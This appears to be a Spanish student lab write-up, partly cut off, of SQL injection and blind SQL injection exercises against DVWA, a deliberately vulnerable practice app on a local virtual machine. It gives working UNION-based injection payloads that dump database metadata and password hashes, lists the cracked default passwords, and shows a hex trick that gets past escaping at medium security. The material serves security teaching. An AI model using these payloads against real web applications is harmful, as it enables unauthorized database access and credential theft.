Sei sulla pagina 1di 11

En la segunda parte del ejercicio final del módulo 2 se propone completar una serie de

ejercicios de web hacking alojados en una máquina virtual. En concreto se intentará completar
el conjunto de ejercicios de Damn Vulnerable Web Apps (DVWA) que podremos encontrar en
http://192.168.1.146/dvwa
Estos ejercicios pretenden ser una guía práctica de posibles vulnerabilidades a encontrar en el
mundo real, la aplicación web tiene un área de configuración en la que podremos establecer el
nivel de seguridad. Para llevar a cabo la mayor parte de estos ejercicios se establecerá el nivel
de seguridad en “medio” o nivel 2 de 3. En aquellos casos en los que el nivel de seguridad se
haya bajado a “Low” se indicará pertinentemente.

SQL Injection

Nivel de seguridad: Low

Los ataques de Inyección SQL pretenden explotar fallos en la restricción de las consultas
albergadas en un formulario, de manera que podremos introducir nuestros comandos SQL.
Podremos visualizar y volcar toda la información de la base de datos.

Es una técnica para lanzar comandos SQL y que estos se ejecuten en el servidor.
Inyección básica.

En primer lugar deberemos conocer el funcionamiento de la web en la que nos encontramos,


como podemos observar, tenemos un cajetín de texto que solicita un ID de usuario para
mostrar la información almacenada en la DB respecto a este usuario en particular. Las ID’s de
los usuarios se corresponden con números y podemos ir haciendo consultas con 1, 2, 3, 4,…
hasta que nos encontremos con un mensaje que indique que ya no existe un usuario con ese
código asignado.

Examinando el código de la página también observamos que la respuesta y construcción del


mensaje a visualizar se efectúa mediante un bucle WHILE cuya condición de salida es que el
contador llegue al número de filas que satisfagan la consulta.

La respuesta devolverá el first_name y el last_name del usuario con ID = $id en la tabla USERS.
Si introducimos un ID que no sea un número o que no se corresponda con ningún usuario,
entonces, tendremos una consulta falsa.

En este punto empezaremos a mostrar datos, para ello estableceremos un escenario siempre
cierto (always true) de manera que mostremos todos los resultados, tanto los falsos como los
ciertos. Introducimos la consulta: sql’ or ‘0’=’0

Así nuestra consulta SQL toma la forma: SELECT user_id=’ sql’ or ‘0’=’0 y obtenemos el listado
de todos los usuarios registrados en la base de datos. Un total de 5 usuarios.

Una vez comprobamos que tenemos un criterio que siempre es cierto, es el momento de
ejecutar comandos en el servidor SQL.

Mostrar la versión de la Base de Datos.

Sql’ or ‘0’=’0 UNION SELECT NULL, version()#


SELECT first_name,last_name FROM users WHERE user_id=’ sql’ or ‘0’=0 UNION SELECT NULL,
version()#’

De esta consulta deberemos quedarnos con la última línea, donde aparece nuestra versión de
servidor, un 5.5.41-0Ubuntu0.14.04.1

Ver el usuario que actúa en la base de datos

Sql’ or ‘0’=0 UNION SELECT NULL, user()#

Mostrar el nombre de la Base de Datos.

Sql’ or ‘0’=0 UNION SELECT NULL, database()#

Mostrar todas las tablas contenidas en information_schema

sql' and 1=0 UNION SELECT NULL, table_name from information_schema.tables#


En este caso podemos observar campos interesantes almacenados en la base de datos como:
User_privileges, Session_variables, User_privileges,…

Mostrar los campos de las columnas en information_schema.

%' and 1=0 union select null, table_name from information_schema.tables where table_name
like 'user%'#

Así mostramos todos los campos para cada usuario dentro de la tabla USERS

Mostrar los campos de las columnas.

La información que vamos a encontrar son las contraseñas para cada usuario,

Sql' and 1=0 UNION SELECT NULL,


concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users #
Y así tendremos el HASH de la contraseña para cada usuario almacenado en la Base de Datos.

En este punto, deberemos acudir a herramientas capaces de codificar en HASH RAW-MD5 para
descubrir la cadena de caracteres que constituye la contraseña para cada usuario. Esta vez
usaremos Hash Suite Free, que aunque nos limita a contraseñas de un máximo de 6 caracteres,
para realizar la prueba con los 5 usuarios encontrados nos valdrá y además, es compatible con
Windows. Existen multitud de herramientas para este propósito y en general, es muy
recomendable el uso de HashCat, pero en esta ocasión quiero probar otras herramientas.

admin
21232f297a57a5a743894a0e4a801fc3
gordonb
e99a18c428cb38d5f260853678922e03
1337
8d3533d75ae2c3966d7e0d4fcc69216b
pablo
0d107d09f5bbe40cade3de5c71e9e9b7
smithy
5f4dcc3b5aa765d61d8327deb882cf99

También existen webs en las que podemos buscar nuestra cadena MD5 y se comprueba frente
a una base de datos masiva en la que hay almacenados multitud de palabras previamente
codificadas.

Finalmente, comprobamos que las credenciales y las contraseñas son correctas.

Admin:admin

Gordonb:abc123

1337:charley

Pablo:letmein

Smithy:password
SQL Injection (Blind)

La principal diferencia en las inyecciones Blind SQL es que ahora la aplicación web no devuelve
resultados en caso de error, esto hace ligeramente más complicado intuir el funcionamiento
de las consultas SQL y por tanto, de la forma en que debemos construir nuestro código para
vulnerar la base de datos.

No obstante, probando las anteriores inyecciones (las utilizadas en el apartado SQL Injection)
vemos que, a mismo nivel de seguridad, misma vulnerabilidad en la base de datos. Así que
repitiendo los comandos anteriores obtendríamos los mismos resultados. Por eso haremos
hincapié en el nivel de seguridad siguiente, Medium.

Comprobamos el funcionamiento normal de la web.


Probamos otras consultas, en esta ocasión probaremos con una condición que marque una
situación ALWAYS TRUE.

Pero no devuelve nada. Así que observaremos el código de la web (ya que dvwa nos permite
hacerlo).

Así que vemos que el parámetro $id se pasa recoge mediante GET y se pasa a la función
mysql_real_escape_string() la cual antepone barras invertidas a los siguientes caracteres: \x00,
\n, \r, \, ', " y \x1a.

Probaremos entonces a realizar la misma consulta pero sin el carácter especial comilla-simple ‘
Y nos devuelve todas las filas de la tabla. Del mismo modo, podremos ir ejecutando el ataque
en las mismas fases que en el apartado anterior. En esta ocasión voy a probar un sistema que
hace referencia al nombre de la tabla en hexadecimal expuesto en un trabajo final de master
en la Universidad de Almería (Waysen Restoin, Javier y Pérez Sánchez, Francisco Javier). Según
este trabajo se puede extraer toda la información de la tabla users haciendo referencia a su
nombre en hexadecimal: 0x7573657273.

1 and 1=0 UNION SELECT table_name, column_name from information_schema.columns


where table_name=0x7573657273

Potrebbero piacerti anche